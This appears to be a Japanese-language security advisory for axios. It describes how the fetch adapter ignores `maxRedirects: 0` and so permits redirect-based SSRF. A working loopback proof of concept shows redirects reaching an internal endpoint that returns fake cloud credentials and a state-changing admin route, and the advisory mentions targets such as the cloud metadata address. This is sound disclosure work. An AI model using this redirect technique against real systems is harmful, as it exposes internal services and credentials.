Axios: `maxRedirects: 0` が fetchアダプターによって強制されず、リダイレクトを利用したサーバーサイドリクエストフォージェリ(SSRF)を許してしまう。
## 概要
Axiosは、リダイレクトの追跡を制限するために `maxRedirects` を公開しており、`maxRedirects: 0` は、アプリケーションがリダイレクトベースのSSRF対策として使用している。Node HTTPアダプターはこのオプションを強制する。一方、fetchアダプターはこれを読み取らず、Fetch APIの `redirect` モードを設定しないため、ランタイムのデフォルトである `redirect: 'follow'` が適用される。
アプリケーションが `maxRedirects: 0` に依存し、fetchアダプターを使用している場合(明示的に指定した場合、またはランタイムによって選択された場合)、影響を受ける可能性がある。
## 影響
攻撃者が初期URLまたはリダイレクトサーバーを制御できる場合、呼び出し元が `maxRedirects: 0` を設定しているにもかかわらず、fetchアダプターのリクエストがリダイレクトに従ってしまう可能性がある。リダイレクト先がアプリケーションの環境からのみアクセス可能な場合、内部のレスポンスが公開されたり、状態を変更する内部のエンドポイントがトリガーされたりする可能性がある。
これは、無条件のSSRFとして説明されるべきではない。この脆弱性を回避するには、攻撃者が制御するサーバーやオープンリダイレクトなど、リダイレクトのソースが必要であり、また、アプリケーションが `maxRedirects: 0` をリダイレクト対策として信頼している必要がある。
## 影響を受ける機能
影響を受けるもの:
- `adapter: 'fetch'`。
- fetchがアダプター解決によって選択されるランタイム環境。
- `maxRedirects: 0` が設定されているが、`fetchOptions.redirect: 'manual'` または同等のランタイム固有のリダイレクト制御が設定されていないリクエスト。
影響を受けないもの:
- `maxRedirects: 0` を強制するNode HTTPアダプター。
- 呼び出し元がfetchのリダイレクト動作を明示的に設定しているため、基盤となるfetchの実装でリダイレクトに従わないリクエスト。
## 技術的な詳細
`lib/adapters/fetch.js` は `resolveConfig(config)` から多くのフィールドを抽出するが、`maxRedirects` は含まれていない。その後、`redirect` キーを持たないfetchオプションを構築する。
```js
const resolvedOptions = {
...fetchOptions,
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};
```
`redirect` オプションが指定されていない場合、Fetch API のデフォルトではリダイレクトに従います。
axios の `1.18.1` でのローカル検証では、`maxRedirects: 0` の設定で HTTP アダプタがエラーを発生させるのに対し、fetch アダプタは同じループバック `302` を辿り、内部のレスポンスを返していました。
## 攻撃の概念実証
限定的なローカルでのデモンストレーション:
1. `302 Location: http://127.0.0.1:<server-b>/internal` を返すサーバー A を起動します。
2. `INTERNAL` を返すサーバー B を起動します。
3. 以下のコードを比較します。
```js
await axios.get(serverA, { adapter: 'http', maxRedirects: 0 }); // エラーが発生
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // INTERNAL が返される
```
## 対策
fetch-adapter を使用するリクエストでは、実行環境が対応している場合は `fetchOptions: { redirect: 'manual' }` を設定するか、axios のリダイレクト制限に依存するリクエストには Node HTTP アダプタを使用してください。
<details>
<summary><h3">元の報告書</h3></summary>
## 概要
Axios 1.17.0 では、`maxRedirects` がリダイレクトの追跡を制限するための設定オプションとして公開されており、これを `0` に設定することは、リダイレクトベースの SSRF を防止するための確立された方法です。HTTP アダプタは `follow-redirects` を使用してこれを強制します。一方、fetch アダプタは `maxRedirects` を一切読み取らず、`redirect` オプションなしで `fetch()` 関数を呼び出します。そのため、リダイレクトは axios の `maxRedirects` によって制限されるのではなく、実行環境によって処理されます。
添付のPoCでは、`maxRedirects: 0`と`adapter: 'fetch'`を指定して送信されたリクエストは、内部サービスへの`302`リダイレクトに従い、そのレスポンスを返します。一方、同じリクエストで`adapter: 'http'`を指定すると、正しくエラーが発生します。別の回避策の例では、リダイレクトが読み取り専用のエンドポイントだけでなく、状態を変更する内部エンドポイントに到達できることを示しており、これにより、機密性と完全性の両方に影響があることが証明されます。
これは、`maxRedirects: 0`をリダイレクトガードとして設定し、かつfetchアダプタが有効な環境で動作するすべてのアプリケーションに影響を与えます。具体的には、Deno、Bun、Cloudflare Workers、または`adapter: 'fetch'`が明示的に設定されたNode.jsです。
## 詳細
fetchアダプタは、`lib/adapters/fetch.js`にある`resolveConfig`から設定項目を抽出します。
```js
let {
url, method, data, signal, cancelToken, timeout,
onDownloadProgress, onUploadProgress, responseType,
headers, withCredentials, fetchOptions,
maxContentLength, maxBodyLength,
} = resolveConfig(config);
// maxRedirectsは抽出されない
```
`fetch()`に渡されるオプションオブジェクトには、`redirect`キーがありません。
```js
const resolvedOptions = {
...fetchOptions, // redirectは、呼び出し元がfetchOptions.redirectを明示的に渡した場合にのみここで設定される
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};
```
`redirect`キーが存在しないため、Fetch APIのデフォルトである`redirect: 'follow'`が適用され、リダイレクトはaxiosの`maxRedirects`による制限ではなく、ランタイムによって処理されます。一方、HTTPアダプタは`follow-redirects`に委譲し、`maxRedirects`を読み込み、制限を適用し、クロスオリジンリダイレクト時に`Authorization`、`Cookie`、および`Proxy-Authorization`を削除します。
アダプター間の差異は、ドキュメントに記載されていません。脅威モデルでは、リダイレクト時の認証情報漏洩(T-R2)について言及されており、`follow-redirects`がその対策として挙げられていますが、fetchアダプターがこの対策に参加していないという記述はありません。詳細については、以下のURLを参照してください: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect
アダプター間の動作の違いは、以下の表にまとめられています。
| 動作 | HTTPアダプター | Fetchアダプター |
|----------------------------------------|---------------------------------|--------------------------|
| `config.maxRedirects`を読み込む | はい | **いいえ** |
| `maxRedirects: 0`を適用する | はい -- リダイレクトが発生するとエラー | **いいえ -- 静かにリダイレクトに従う**|
| クロスオリジンでの`Authorization`を削除 | はい (`follow-redirects` >=1.15.8)| 実行環境に依存 |
| クロスオリジンでの`Cookie`を削除 | はい | 実行環境に依存 |
### fetchアダプターはどのような場合に選択されますか?
- **Deno, Bun, Cloudflare Workers:** Node.jsの`http`モジュールが利用できません。アダプターのリストが`'fetch'`にフォールバックします。
- **明示的な設定:** `axios.get(url, { adapter: 'fetch' })`
- **カスタムアダプターリスト:** `axios.create({ adapter: ['fetch'] })`
## 実証コード
```js
import http from 'http';
import axios from './index.js';
// サーバーA: 信頼された外部ターゲット。サーバーBにオープンリダイレクトを送信します。
const serverA = http.createServer((req, res) => {
if (req.url === '/api/data') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
return res.end();
}
if (req.url === '/api/change-config') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
return res.end();
}
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ ok: true }));
});
let internalHits = 0;
let internalConfig = {};
```
// サーバーB:内部サービスであり、アプリケーションからはアクセスできないはずです。
const serverB = http.createServer(async (req, res) => {
internalHits++;
if (req.url === '/internal/secrets') {
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
role: 'arn:aws:iam::000000000000:role/FakeProductionRole',
}));
}
if (req.url === '/internal/admin/config') {
internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
reached: 'state-changing internal admin endpoint',
changed: true,
internalConfig,
}));
}
res.writeHead(404);
res.end();
});
await Promise.all([
new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),
new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),
]);
const targetUrl = 'http://127.0.0.1:13801/api/data';
const changeUrl = 'http://127.0.0.1:13801/api/change-config';
const internalUrl = 'http://127.0.0.1:13802/internal/secrets';
const internalCfg = 'http://127.0.0.1:13802/internal/admin/config';
console.log('Axios maxRedirects バイパスに関する fetch アダプターの PoC');
console.log(`axios VERSION=${axios.VERSION}`);
console.log(`maxRedirects=0`);
console.log(`ターゲットURL=${targetUrl}`);
console.log(` ${internalUrl} にリダイレクトされます`);
console.log(`変更URL=${changeUrl}`);
console.log(` ${internalCfg} にリダイレクトされます`);
console.log('');
// CONTROL: HTTPアダプターがmaxRedirects: 0を正しく適用しているか
let httpBlocked = false;
try {
await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });
console.log('[CONTROL] HTTPアダプター + maxRedirects:0 バグ:例外が発生するはず');
} catch (err) {
httpBlocked = true;
console.log(`[CONTROL] HTTPアダプター + maxRedirects:0 リダイレクトを正しくブロックしました ✓ (${err.code ?? err.message})`);
}
console.log(`[CONTROL] HTTPアダプター以降の内部アクセス数: ${internalHits}`);
// BYPASS: FetchアダプターはmaxRedirects: 0を無視する
let fetchResponse = null;
try {
fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });
console.log('[BYPASS] Fetchアダプター + maxRedirects:0 SSRFが成功しました ✗');
console.log(' レスポンス:', JSON.stringify(fetchResponse.data));
} catch (err) {
console.log('[BYPASS] Fetchアダプター + maxRedirects:0 リダイレクトがブロックされました(予期せぬ):', err.message);
}
console.log(`[BYPASS] Fetchアダプター以降の内部アクセス数: ${internalHits}`);
// BYPASS: Fetchアダプターは、状態を変更する内部エンドポイントへのリダイレクトに従う
let changedResponse = null;
try {
changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });
console.log('[BYPASS] Fetchアダプターによる状態変更:', JSON.stringify(changedResponse.data));
console.log(`[BYPASS] 状態変更後の内部アクセス数: ${internalHits}`);
} catch (err) {
console.log('[BYPASS] 状態変更リクエストがブロックされました(予期せぬ):', err.message);
}
console.log('');
```
if (httpBlocked && fetchResponse && changedResponse) {
console.log('POCの結果: fetchアダプターはmaxRedirects:0にもかかわらずリダイレクトに従い、');
console.log(' 内部サービスに到達し、内部の状態を変更しました。');
} else if (httpBlocked && fetchResponse) {
console.log('POCの結果: fetchアダプターはmaxRedirects:0にもかかわらずリダイレクトに従い、');
console.log(' 到達すべきではない内部サービスに到達しました。');
} else if (!httpBlocked) {
console.log('POCの結果: HTTPアダプターがリダイレクトをブロックしませんでした -- 予期せぬ事態です。axiosのバージョンを確認してください。');
} else {
console.log('POCの結果: fetchアダプターがリダイレクトをブロックしました -- 問題が修正された可能性があります。');
}
serverA.close();
serverB.close();
```
実行:
```bash
node poc-max-redirects.mjs
```
観察結果:
```text
Axios maxRedirects バイパス via fetchアダプター PoC
axios VERSION=1.17.0
maxRedirects=0
Target URL=http://127.0.0.1:13801/api/data
http://127.0.0.1:13802/internal/secrets にリダイレクト
Change URL=http://127.0.0.1:13801/api/change-config
http://127.0.0.1:13802/internal/admin/config にリダイレクト
[コントロール] HTTPアダプター + maxRedirects:0 は、正しくリダイレクトをブロックしました ✓ (ERR_BAD_RESPONSE)
[コントロール] HTTPアダプター以降の内部アクセス: 0
[バイパス] Fetchアダプター + maxRedirects:0 は、SSRFが成功しました ✗
レスポンス: {"secret":"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY","role":"arn:aws:iam::000000000000:role/FakeProductionRole"}
[バイパス] Fetchアダプター以降の内部アクセス: 1
[バイパス] Fetchアダプターの状態変更: {"reached":"状態を変更する内部管理エンドポイント","changed":true,"internalConfig":{"compromised":true,"source":"リダイレクトによってfetchアダプターが追跡"}}
[バイパス] 状態変更以降の内部アクセス: 2
POCの結果: fetchアダプターはmaxRedirects:0にもかかわらずリダイレクトに従い、
内部サービスに到達し、内部の状態を変更しました。
```
## コントロール
Axiosは、HTTPアダプタにおいて`maxRedirects: 0`を正しく適用しています。上記の`[CONTROL]`のケースはそれを裏付けています。`adapter: 'http'`を指定した同じリクエストでは、リダイレクトに従うのではなくエラーが発生し、内部のヒットカウンターは`0`のままです。
問題は、`maxRedirects`がグローバルに機能していないことではありません。HTTPアダプタに対しては正しく適用されています。この問題は、fetchアダプタに特有のものであり、fetchアダプタはオプションを一切読み取らず、`fetch()`関数への呼び出しにリダイレクトに関する制約を一切渡しません。
## 影響
これは、fetchアダプタが有効になっている環境で動作するAxiosアプリケーションに影響を与える、リダイレクトの制限を回避する問題です。
PoC(概念実証)で使用されている内部管理ルートは、リダイレクトされたリクエストが状態を変更する内部APIに到達する可能性のある、影響を受ける環境をシミュレートしています。この脆弱性は、`maxRedirects: 0`がfetchアダプタによって無視されるという点にあります。具体的な影響は、実行時に到達可能なリダイレクト先によって異なります。
影響は、環境と設定に依存します。これは、以下の条件を満たすAxiosユーザーに影響を与えます。
- リダイレクトベースのSSRF(サーバーサイドリクエストフォージェリ)に対する防御策として、`maxRedirects: 0`を設定している。
- fetchアダプタが、実行時(Deno、Bun、Cloudflare Workersなど)または明示的な設定によって選択されている環境で動作している。
これらの場合、初期ターゲットからの`302`リダイレクトは、デフォルトでは問題なく追跡されます。ただし、呼び出し元が`fetchOptions.redirect`を個別に設定していない限り、この動作になります。リダイレクト先が内部サービスである場合、アプリケーションは、リダイレクトが発生したことや`maxRedirects`が適用されなかったことに関する情報なしに、その応答を呼び出し元に返します。この問題は、エラーが発生したり、警告がログに記録されたりすることなく、静かに発生します。
この回避策は、読み取り専用アクセスに限定されるものではありません。2番目の回避ケースで示されているように、状態を変更する内部エンドポイントへのリダイレクトも同様に成功します。攻撃者が、例えば、最初のターゲットにおけるオープンリダイレクトや、攻撃者が制御するサーバーなどを通じて、リダイレクト先を操作できる場合、内部リソースにアクセスし、アプリケーションが意図していない動作を引き起こす可能性があります。
影響を受ける可能性のある環境は以下の通りです。
- DenoおよびBunアプリケーションで、axiosを使用しており、fetchアダプターがデフォルトになっている場合。
- Cloudflare Workersで、axiosを使用しているが、Node.jsの`http`モジュールがない場合。
- Node.jsアプリケーションで、`adapter: 'fetch'`を明示的に設定している場合、またはfetchに解決されるカスタムアダプターリストを設定している場合。
- `maxRedirects: 0`を条件付きで設定し、異なるアダプター選択を行う複数の環境で動作するアプリケーション。
リダイレクトを通じてアクセス可能な内部サービスには、クラウドインスタンスのメタデータエンドポイント(`169.254.169.254`)、認証なしのローカルサービス(Redisなど)、またはアプリケーションのネットワークからアクセス可能であるが、本来は呼び出し元からアクセスされるべきではない他のホストが含まれます。PoC(概念実証)におけるヒットカウンターは、アクセス状況を具体的に示しています。HTTP制御後には`0`、機密性回避後には`1`、完全性回避後には`2`となります。
これは、無条件のSSRF(サーバーサイドリクエストフォージェリ)とは言えません。この回避策には、最初のターゲットにおけるオープンリダイレクト、またはそれ自体がリダイレクトであるURLが必要です。問題は、この種の攻撃に対する意図された対策である`maxRedirects: 0`が、fetchアダプターでは無効になっていることです。これにより、アプリケーションは誤った保護状態にあると感じてしまいます。
---
影響を受けるパッケージ:
- npm (JavaScript) axios: 影響を受けるバージョン >= 1.17.0, < 1.20.0、1.20.0で修正済み。